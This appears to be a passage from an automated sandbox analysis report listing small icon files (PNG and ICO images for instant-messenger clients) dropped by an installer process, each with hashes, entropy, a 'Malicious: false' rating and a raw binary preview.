SHA-512:	70366DDABF05D4A60C6AE09266A4911CE61268DE7C3E83292A627344AC048A1510F46B48A566790B986AB1264E3FF38FBCC552A3E60A9249D7F1D12E44657CBD
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....................................................................................................................................................................),).....)().)()R....................................................),)JJMJ.kmk.)().989.................................................!$!.\Y\...101.kmk.....................................! !B!$!.)().wxw.........sqs.kik.RUR{9<9!................)()!!$!.RQR.................................cec.BEB.989.....),).)()................................................989.9<9.!$!.................................................xzx.{y{.)().),).........................................................)().101.........................................................)().),).........................................................!$!.)()ckmk.................................................JIJ.)()J....),).............................................ZYZ.)()s............101{Z]Z...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\google talk.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.630848437869861
Encrypted:	false
SSDEEP:	12:6v/7czkgzR/pOsg/sx7MiqeJACAHDTOipuwsOmA8PJO/Y7:xQgzRBX6e7nmC+puF9U/Y7
MD5:	FA83ECDD6AFBEFE0DD30A620574872DE
SHA1:	8B3299A9244809F9541BFFB7A1CCD8D58AB53EB0
SHA-256:	9AEA100DC1DCFA58A542BD9294F67B454CFD8669CC199F6C43ECD9A4C3E99E1D
SHA-512:	202937104E00E187A4CCB1D3D2352F19E1966E71DF015D1E5E529B3C148D4A91FCFF18C0D0A08CB23660962BEC06417D1EABD47D0F48A07A5DB22DFC4EB6048D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.RAk.`.~c;.U..x..._P0..).t./....":$.......2iuu......O...VH.A>..^..S.....l...H...........}... ....II.E..".$ID....`_X.5.e..q.....q..@RK.U..=..MUT^..!..!hC..X.^....v..RG..j..).&.q.0.oM....Ah..w.....PJgj.....U...^..?.a`......3_..]..)..{9.......P\).z...t.-......pB..Z.QZ).........>...O..C.....%.....O.>q.4....kS...{..... ..Ks.....v.N.....H.<.kb.;....U0f.G..J.._.......?.......q?..-...U....[3v....&.D.Q5.G...IY..7?o...C..,..%*.e.=..~.g.......D.X.Q..]........`+..W.J.^..y.Wm.._..,5....1.sXU.o..<._.....J..Wa.g7....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\icq.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.401447563259091
Encrypted:	false
SSDEEP:	24:GxwtVB49rxl+FrnlMxh8M2J382e416LZYuegYtTn2H:YwjBoxlyDlMxj2J3SC6uSuT2H
MD5:	54C24D9A4A0FECA1E1732A2A800FAC29
SHA1:	D089A770D1565011BF54CFF7DCD29885F5595340
SHA-256:	3BD7E6C88BC3E06CF51817BBCB9CE14895D22A71E96E571F108110A33273FF59
SHA-512:	B07A8DE23A7D69413BA31E7ADC81B9F0200D58F7F247F78E5453ABAF737FBAE35D60801E3A33AA2F62C27AEABC2F669CA38198111140BE989E2DD315F651BB56
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................#p-...0......E.........+...A.................................4.l...................z......%..J...............................5.v...... ...1......`.........................................6...]....-.R.K.u.5.H.#.6.=.j.,.L..m...".. f%.$S(.........)+A.:<..!....0I.1.?.`..1.A.+.C.f..9.V..W..............)f+.....12...............4g......\...p...9..z'...)...1...+..... .#.....$$M.&...F?..E?..&....@g......~...^....9.8.i.3.f...H.....'.%........m'><.2=..><..,.................~.#\|!.@.R.?.R...1..g..DT;T..s..!..............w..D...........".a..............v...5......$q#.'.;...)...".........!v%.[.{.C.i...............'.......'..?..5u4.U.m...W...5... ..\|.......\|...........r........>...I.O.c.'x&.\fQ6H.Q.4.U..s..l#...'...............!...!..g"...2.;.d.I.Z.TpKPaeU.XYK./($!.'.u..5...;...6..{"...&...;...:...-..7..),#.YaN.giZ.bhV.>C6......Z'.G.t...E...=..["...3...9...<.L.x."z1.....02.X^N.\bQ.KPA.HK>.F_BLY.q.m.../.N..&.^..>.Y.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\icq.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.758725240902144
Encrypted:	false
SSDEEP:	24:PLiyUaMQzTd2JxkVLDF0b5YPQfmCmGnX49:DFKmR6kVne5YPxCmEa
MD5:	5B29258244BCAD93923044B9CA6349A1
SHA1:	CC6CC6ABE4420DFA97552F5A1FF0DACA652AACE6
SHA-256:	A7D4C1C8C6FCEC92068D60D0DEFBAA38EA75010D01EA753FC913749CC89E8FDF
SHA-512:	AA8345E54E397D1AECE33F8CBE66B12AAB5F373109C787DE7C8C23BB0949A2B184CC1FB2E08CFA66F7374ABFD26EAA21D85857C74B67AEE31590A197971AF15C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.MS{L[u.=.{o.K{)miy..<G......sF.#..d..;F.#S.-:53.ht31n..BLD.0..9E.3,u.s!.2....W_./.....k.h8._.9...\|.s.7(..!..D..&.g..m.9..D.......-..r..#....!.N.V.+U..tu#".!K2..........db\|"}.?.[s\>....x.....1....T.......z....;......lgv.4.\...\|~,...{....Mk........s...&To..y...H..........l.}m.h).....l.`k...@.O.....6$.N8[...k\"...m.'8....o....i..<......X.HM..Z.H..4R&..P.:k.7..?.zH.....9v.u.`..E..\|Dy...UP3Z.5)..).~5.."..H....v...>..H.......f!u.iEF@.M..k..]......NM".1.K.....,....0(}Dl.%...D.D@"...hp^.C[.g.c@$..w_.K...B.&u`\|..\|..66.>@(...r.......`t......#....i...J..,.....T....oN.V...%.......H.n.v.%...i/.4D..)....w<".=...+ +.......Xw."....\|...s.%..#/g5...8..@...l...........[.E&.`%...w......t.U....w99Z...A...F.v.:(M.O<..W..{x!.z4..)p.<.G..Z.X..A...tu........n.n...9.hy..>...~o....i....1.....O...ZK......&.f=...SW../`\M.......".Yds.R..:.CY...~+srI.@...E.?f...W...aI..,\Xyy.........u..G...{...D.P.....X-...k.b..D.Y^.........1....IEND.B`

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-07CCG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.614804652904851
Encrypted:	false
SSDEEP:	24:Biiii8ibi0TiSDiiuYxId1diiiiSiiiwKrkIzpJi4arAJbJbJbJbJDg:Biiii8ibiaiSDiiTxIfdiiiiSiiiwKr2
MD5:	92E919F7716BFEC2191169F9D1513737
SHA1:	E7BEB2821E116084C0A516D754A0C7A534956BD6
SHA-256:	C5CB556AFCF8E5F48AA604646FFE93AEDE2607342C4AA93D70791ED8C4FFFE4B
SHA-512:	574F731D0220B353AEAC4B442E6ADED51CE54A7BE93BF3EFC3A7EB8F15161FAA3A1806C859C585ACCC351195AA0376608A5ED5B126DD552296D2305367008014
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.............................\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....\|\|\|.......=...$..Y...Q......\|\|\|.....\|\|\|.........\|\|\|.\|\|\|.\|\|\|.....\|\|\|.......T...7..n ..`%.....\|\|\|.....\|\|\|.\|\|\|.\|\|\|.\|\|\|.............\|\|\|...../.n...J...(..g'.....\|\|\|.............\|\|\|.\|\|\|.....\|\|\|.....\|\|\|..........a...,..u(.....\|\|\|.....\|\|\|.....\|\|\|.\|\|\|.............\|\|\|.....{....Z...3..z*.....\|\|\|.............\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....'.U...A..t3..o:.....\|\|\|.................................\|\|\|.......Y...7..q...\".....\|\|\|.................................\|\|\|.....{....\...-..r&.....\|\|\|.................................\|\|\|.....o.~...^.-.C.=.>.....\|\|\|.................................\|\|\|.........................\|\|\|.....................................\|\|\|.....\|\|\|.}}}.\|\|\|.\|\|\|.........................................\|\|\|.....\|\|\|...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-0FOJS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.401447563259091
Encrypted:	false
SSDEEP:	24:GxwtVB49rxl+FrnlMxh8M2J382e416LZYuegYtTn2H:YwjBoxlyDlMxj2J3SC6uSuT2H
MD5:	54C24D9A4A0FECA1E1732A2A800FAC29
SHA1:	D089A770D1565011BF54CFF7DCD29885F5595340
SHA-256:	3BD7E6C88BC3E06CF51817BBCB9CE14895D22A71E96E571F108110A33273FF59
SHA-512:	B07A8DE23A7D69413BA31E7ADC81B9F0200D58F7F247F78E5453ABAF737FBAE35D60801E3A33AA2F62C27AEABC2F669CA38198111140BE989E2DD315F651BB56
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................#p-...0......E.........+...A.................................4.l...................z......%..J...............................5.v...... ...1......`.........................................6...]....-.R.K.u.5.H.#.6.=.j.,.L..m...".. f%.$S(.........)+A.:<..!....0I.1.?.`..1.A.+.C.f..9.V..W..............)f+.....12...............4g......\...p...9..z'...)...1...+..... .#.....$$M.&...F?..E?..&....@g......~...^....9.8.i.3.f...H.....'.%........m'><.2=..><..,.................~.#\|!.@.R.?.R...1..g..DT;T..s..!..............w..D...........".a..............v...5......$q#.'.;...)...".........!v%.[.{.C.i...............'.......'..?..5u4.U.m...W...5... ..\|.......\|...........r........>...I.O.c.'x&.\fQ6H.Q.4.U..s..l#...'...............!...!..g"...2.;.d.I.Z.TpKPaeU.XYK./($!.'.u..5...;...6..{"...&...;...:...-..7..),#.YaN.giZ.bhV.>C6......Z'.G.t...E...=..["...3...9...<.L.x."z1.....02.X^N.\bQ.KPA.HK>.F_BLY.q.m.../.N..&.^..>.Y.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-0JCQ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.275771912287761
Encrypted:	false
SSDEEP:	24:INtkHVr7SidRa/Obkfbw8H1y3LIseAevOGZ0bTsB:LVPS0a2AfjeIEeBZ0bTsB
MD5:	6A4FEA20675B423DC5B6AFC565BA2D57
SHA1:	D241A8C16A86789F1B28EAA58B164AE6C9457FC1
SHA-256:	73EC225A303B4A44537CBBCFEB5FC07BB8EEB9FDFE0FACA788309CC7C75F3F74
SHA-512:	2948886496B704F85A71549341A1D8E5DE36375CCC6FF79B0F95BB6FC755147DE35C6F556E02CFF916B5967F95891E1586F065DC329A68E057093032B485A4A0
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................K.}.s......(...)........w...H.....!... .................W.#.n..&...<...M...i...k...[...C...+....q...K./.............W.#.u.....A...>...'......5~..&...;...G...2....x...V.,.........l.."...>...'...!T..-(..BA..MN..>=..)4..%...D...+....r.......[.j..../...5....J.."...("..63..=;..40..' ..!)../...8........p..p..$...8...+~....f.....$...)"..,&..(!..$........K..:.......v...}......>... F....4...d.......................\..+`.9...3........~..3...C...Ni......................................7...8........~..2...E...?d..z...............................f...9...9........}..0...L...Y...]...]...`...c...c...`...\...]...Y...N...8........r..1...U...\..._...v....xs.....}..........._...^...W...8....y...b.u....R...W...f........LA..........LA.....g...Z...V... ....w......r.....^...m...........................p...a.../....z..'........W.#.w..-...x...........................\|...1....z.....M.............W.#.s..&...k...................o.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-0P0UB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.700995430791155
Encrypted:	false
SSDEEP:	24:gYFXmor3S32jSx6mJYuknx/vNdapyefgQP71YZbHYG:bXm3SwV12x/vPapyCf710bHYG
MD5:	781F31C7BDF09937698ABFE875672A7B
SHA1:	9ED7E05BAB393E6D09DF2C6B8970805F088586B4
SHA-256:	A48944491AD937CA359AE2F8C57070CF69DC58B6F363F8E66B8C2EBE9F8DFB9A
SHA-512:	B7810E56C63EDB096670841C28A70DF441F82741D16439D2CDA39AA3BBB65711379383FE089887DCA8005168F0B7C5B351CF8552DCD6DD4C4FC47D10D9261690
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...(IDATx..ilLQ...}....m..%..........!.A.5>..H?...^..PK..,.KJ\|..B,...Z.h......3..w.u..WN&..{....Y......D.x`..l..a...!D2.(..I..z.z......@).(.K. .K.m..)R'>H..R..7.mX.....XZY...b\...'....-[.p@x.......#.o........G..).4.Pm.p..I......w..fL..d<..t.9.PR.P....fK...4...3.... ..$v.I..hk79...DL..5...(..@..i..p}f/....6..U.c!iq.......9..Q ...(....H.4r..y>.....(X.....Q...b).'....b..a.c.'..E{..L...q.>~L.6....k.a....0.kM0'.......Z.Q..."Z..KA..{..A#:.7.6(..\|...U..`e.......l\>...../:xYu.........rWW..jA..#..O..!#..ia.8...c...Y..!........eSR..%wtBCF...>kb........f..:.0......M\.m.o..".Qco...E...?\|:i.....U._..L.."Q....q.`ILU...)\80=.X..fJ8..M...(..p.6......'...x......8F......8...R.O.O.RZ(...F.wK@..S.....?k...\a..._>4.<...e#'l .7.53.....Y..jk..8.....3.dK..1.....B..p.9......-.-F.[...2C.n.~../V...$iB....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-0PSGT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.54214238379203
Encrypted:	false
SSDEEP:	24:6eIPdVt3Mxoi5U7YoFhqG0f9tX9vWHpWcd9JU:6NCSFhqlvWHpWcd96
MD5:	A7F6DC763A6C440673C6A65E1174379F
SHA1:	E3FE4B3EA5D58231C0326BD5BA9BC1A15D6C095D
SHA-256:	442AEC90EE87A5859CB87703F0ADA203796A24A36F8FA7AAA5C80E87995F1E65
SHA-512:	6A06B633363C13F056B8A23CEB3D507427F26DEC1844A043D49B99BB7F95C18BA21A1F08457E7A714F17A6D1A04ECC6DCEDB855D439E5D881F6D3CFB3C7517CB
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................9z.q6t..0q../v..'f..3g......-Y.i.X..7w..:{..6w..9{.z............,~..G...!.......D............E.......,...)...0................r.>1...M...............................6...6....v.'................7.......................................5.................#...#SM......./G..2I..........................Vw.. ..\........1"&...#.^hw.....,A..@Q..........................&...$...$.......A22.-.#.C?F......-...-..4O..Mf..~...............&...%...8/......C44K<./.=:n..+...6..'E...=..%I..3S...?...2..%;..).(.0$&.?43K......../+`..)......%0..@O...'...,......-...$...5..-2..('g.).!..........$.0!2......................................$0...)................y...[..".........Z...(...............$."...A.....................+ #.,.".+.".....................&.".%.".5.-."...................-"%.6&(.2#$...........o.........!...%.".,''.....................-#$)P;:.Q96.....................&.!.%.!." .5........................I97`fMJ.J53.0#%.*.".(.!.'.!.&

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-292TP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.949963945175186
Encrypted:	false
SSDEEP:	24:PE14x6qLv19cI/PRw1ZoPh+tV/HFm+TIe0WmY:s1ALtDtPh+tVvz0WB
MD5:	E929E2F2B14B9EC2EC42A663F3C7EEC2
SHA1:	2E66730E02EEDA9641153D48F408CECFB72E92F6
SHA-256:	A6DB330F99F450E9BBA286E6FE96B13DD8DA5079A7A1F8E191A09123C6A61906
SHA-512:	5AFBE7ABB77DA9F37D5E0392BE622C8AC8BA0C07F02430E5F5FEC624074F12ABA39BEFF2AA4D44CD3029886A8B71BE7AEAE9F6AED8A95D83369984EC39CF066C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................................E@...K...$..].......................................#.../...C...N0...]!..^...J..............................A&......P...U17>.FOX.Q\g.Vbm.z:..j)..J...].."............A..4^...C;@.OWa.Ual.ox...............^\.y5..g..x-..."......L...`...]%..................................j#..}7...G...5.T....8..Ic........................................<...K...O#..E.......A..h'..............w...v................I...u4..]$...F..Y!......v&.h&.............................V`j..C....@..m0...J..\|(......{)..E!..zq.ehm..........................C...n...<..S..z'.......7.g:.i7".....TUY..................rY..O..._ ..~3.....y(......K..\|7.{C#.._;..~E.^E0.{oj...~.lRP.e3...x3..v..q...;..v'......R...1..d9..yM.(:...v..<..v'..b....^...o$...>..y...+..i.#..........8q.}0..r.......N..h...^%...<..S.....?...1..p...................p"......{..w..W..L..N..A...5...*..u$..........................].:..-..J..;......\|(..y&..u

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-2L689.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.696472050125109
Encrypted:	false
SSDEEP:	12:6v/7MV8c2Qwrnehd6jw2pCreHWZJl2TKpwsC/eYvbojK1YOfjypI2Sc6jisxYw3Y:ycajeH61peeHauKVOFvbp7gb65Xm1
MD5:	27858239558F8642F02A7770829F8325
SHA1:	13BA5FC4427044C1343D62F4F9D552C6C62B18B6
SHA-256:	C470C09448A1BFBDD59F53A6E4C563E9584FF8CA083895A4887ABBAA39EDB823
SHA-512:	4E0A4AC0E33EA15BC546D56D552A3C1A8995DF8D319418D6E6CA066FC25CA8EB9E9A77F1373D4A7236BE1F5B0FE0DFEE9D62F3F559CFE3C0B2311FC0C830EA45
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.mSkHSa.~..9..Q.$.NQ1.2... Z.)+.H.4..K.R.......`..y..BfXV:..vQ,.()4..l.R......:.cf..9..{..y..y..\|....B....E"Q.{a4....wuu.0G.g1...T.WUU....f..Az..\.Z........u.'.QQQq....A ...q.0`.......A.W$.;.?R...fP.T..~...`........ ..M..x8kG.?.......' ',.c......dF.g..{zzZ#.H.[r'.P.XG....L......AGq+J.n.i.%444.`.....1nq.......+...\.....MS.@........\|.><.....DOOO^bbb.+......u...0..../..>....&~..@......G......-].]h`.^vl.,d.....p...1(.O.M?........M.`ll......).X\..^'._!\|...\.....x...?.........GGG....yIIIu..X....X$.....@.....%8..F.,.).....:7...q.m...-..).-..v.Ap...\.mx.M......7.P(..5.t.zf.......R......i.....^~.n....5222.3..T[[....=[./`..0=....6~..?,.<I&X......X.n+...%...hX+..V..>...2C.c.4..(...s.Z.....s[y..Q"-))).........'L..3....i[.e2YHVVV.g.....i...q....N...W....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-3GJCQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.89668669623498
Encrypted:	false
SSDEEP:	12:dDWdAyhFGViosMZNrBK5aTeiVIrSXgXdaguWUl:hxyTGVihMPBK52edrSXgtbUl
MD5:	2102DF54739C5E5FFEDDA31CE18A430E
SHA1:	B62D93ED6661FE4E0080D7CD575D0F81E8640D9B
SHA-256:	2DFDE998FEAC91E72BFDCDDF174000539C525233D4E3EA4744BD08EF70E6C9C0
SHA-512:	654F18D0C0F4309A8C559E4E0CB2D4497AABE9D9D5BDC51EA100CAF0455FC26702E0AA8390B3D7113CD7F752391B9A3283491B5A1623E0060F302EF2A816B7ED
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ............................"...........................................................".......................................................................................................................................................................................................................@.@.............9.9.............................................................................................................................................................................................................................................................................................................................................................................................................................H.H.........................................I.I.....................^.^.................................^.^.......................................................!.!...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-4F7AS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.20340524330819
Encrypted:	false
SSDEEP:	12:F5e2nwbQh05puMPaz5NV9/COvwqsvuKMBwnwfqHtJZcaHqtMbHgGomu/HAmlMscR:aCupu0az5l5R4t7bHqkAN/H7WrefjU8W
MD5:	6974D5655CF050D09AEDEFB0A870B09C
SHA1:	2C87D6EFB277163490FFF31C594A5127E8D0B509
SHA-256:	A5761AE112ECB0B8CA16EDD77F9B112D983D7F8B0C229A8099E1A35B2E4F6993
SHA-512:	AA3DBE81C2BFDBDBF4EF81DE63685BEC3743762254476F278E1FC6956A39910E2C4A1E83E491AB579B107FC0496E134AB946800D7D2CA367AE4AF2E109B6741C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................C.<&D.=SC.?AU.U.....J.@.E.>FC.=XE.=?U.U.........................I.B#B.;.B.;.B.<.C.;.C.;.B.;.B.;.B.;.C.;.C.;.U.U.....................F.>>B.;.B.;.].W................k.f.B.;.C.<.H.A'................F.>BB.;.................~....l.g.t.o.S.M.C.<.U.U.........f.f.C.<..}........a.\.........}............L.E.C.;.........D.;VB.;........n.i.............................C.;.U.U.....B.<.].W....._.Y.....~.z.B.;.B.;.J.D...............B.;.E.=?....C.<.j.e.....E.>.....P.I.B.;.B.;.B.;.......x.s.....B.;.C.=X....C.<.g.b.....O.H.....u.p.B.;.B.;.D.=...............B.;.E.>J....D.<\|D.>..................\|.w..................B.;.I.@.....E.>%C.;........T.N...............}.x........e._.B.;.............B.<{G.A.........z.u.D.>.B.;.X.R...........C.;.G.@$............U.U.B.<.G.@..........................}.C.;.B.=d....................U.U.B.<{C.;.F.?.l.f.t.o.c.].B.;.B.;.E.=;................................G.@$D.<\|C.<.C.<.C.;.D.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-4V4QI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.472732468708232
Encrypted:	false
SSDEEP:	24:eO+ZmtXn7q6EQAkkUNtYa1TBExcA8CNJF22222yLIXTN:eO+4p7q/QAtqTexR8M22222sIXZ
MD5:	F81E507FDAD67F58488CF3D937594180
SHA1:	59C646FB4F2808E0020BDF1728237F067B3264D2
SHA-256:	DCA19404AB1499715ED30AFCA88E4BD85371BADC6A51E1677EAEB1DFFC8CA289
SHA-512:	70FAB93C992E18FE77C53C2DAC203B2F599DCD888D55015E668B2DB149AE51BCA7DF6A772D5FB4633D038BFEB6CFBF4CF64C3384031E7DE4BC23BA6948171357
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....@...............................................oL..pM...............................................n.3.y...\|..~...~...\|..y...n.5.............................y...................................y..1!...................\|...........................................}...............z.;..................1..\|..........0..............{.?......................$.....h.........p...................a...............\................................g.....+.......D.........................................../.../.......U.............................3............3.}...".."..".."..8.....................].....!.."..........%..&..&..&..&..&..&..W.............$..&..%..........'W.)..)..)..)..)..)..)..)..2..A..)..)..'[.............+..,..,..,..,..,..,..,..,..,..,..+......................./../../../../../../../............................%../e.0..1..1..1..1..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-52EK5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	6.697181871409298
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+aWg7NSRAkPY+kW37wjNaI79UL00H3zSiw2p:6v/78/2VRZbW37wV9UL00N
MD5:	E472E7B1F2BF2829B8625C32CB02B0A8
SHA1:	49275242752EEC7DFB1ED14A2968F02439EAE54D
SHA-256:	FA0F63928ABF3B36BE9D310A257CABD413B7E7B7D7D92A0975C7FAA7CB2F370E
SHA-512:	02E865BF6802EF4B3851E87A3E0C984395D5A90FFD7C6282F858E8ED2A74769BD968C637ABCC710BE3290CD0D947FBC5620FBA3510CB3ABB29991278F20C44B8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.paint.net 4.0.134.[z....IDAT8O....P...J...@ ... ....Hv.@v.D%........`....M^.=Mh8.4.{i.6....8...m.c@.....a..q...l...'..c...R.Aas.qJg1.......;1.....~.....b.....{u.dt...^.....`..:72..Ru'..2..4_......].....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-5V81M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.626939687751021
Encrypted:	false
SSDEEP:	12:6v/7xDWhiMwp8cPv8arNXzjOxin+3sSsNGI+dlb1TXiaG/deT7gYIaMXv3wjxyUU:mDmiMc8cPv8apjjOxA+3sDNGI+pyN/dH
MD5:	19F3CB0BD386402E675788B7D56970F4
SHA1:	EB8E440BC41C57BFEAA8E684C1E95008A3B53161
SHA-256:	12EDB57B3DC1F4FC152FB9DC44E69E669182C36A543E3F9335B14E7BF9AA4787
SHA-512:	030099A142FB428E231C9050304EA59BBFA9AF9E281FCFF0E80F3A2DA4113AA0953D0CD629B269310A47EC901279BB7C0FF5C2C922342AD813296832065022BF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..ML.Q....m....D..('...P...r.r1...1....... .^.b.1.?b...#z....&~..L(zP..F..nK..^.....L...7.....C.....y...;m!...!c.e...dUhf....&.^K.Ce.f.V........M..@a..R.k..&.....l:..E..W.H.0.....\8+LC..2..r....!........G18..\g...r...ca:!5....\)N.......77PVaF......q...p.....`..sI)....%.E.z.`.]...(5.?O.^.%....X...kLRz<.<.......jO...@..F\jP.g.....W...\.H.......:..:...l.&H....L.x7....-:JQ...{..e=..p..(..?.....R.P.8j.T.6....t..f.VC)\|..3.g8..q..%.kn....#S...........e.....r4_g()g....ER..?d..+i...Nc3U.B....)...#...q...j...g..U..0)P.S1VQ..R....q..t..C..$5R....~Y...Be.....Y@j.....J...X. .y...6z..B...p.J.y...a..b...)....fb.t..7.@.6&...m..>/j........Z.......(f.U.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-69LME.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.521572092864423
Encrypted:	false
SSDEEP:	12:6v/7VDZbIJn0vRHCeQgHr8zLKMqUuwmUL27QyFY7:xN0vRHCej+m2bR27QyF6
MD5:	686CF19C035D7BB3523CF7FDF3F39F13
SHA1:	862BDC58F8EB03A07C866566FFCFA7228987899C
SHA-256:	3FDF0CE404773A9703AC716DCA370D349A630E7A2098BE497D0C472CAE80C38B
SHA-512:	7F8EF9F4D6D8AE5E6DAE76DDA7C8B389C3EC1DFE022FDA23790731272EEE7AD209CCD5890D3142B1C7F57D557A1A27202534A3085AD3A734071A898F1E0B6512
Malicious:	false
Reputation:	unknown
